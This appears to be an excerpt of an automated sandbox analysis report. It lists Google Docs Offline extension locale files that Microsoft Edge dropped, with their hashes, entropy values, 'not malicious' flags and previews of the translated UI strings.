Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
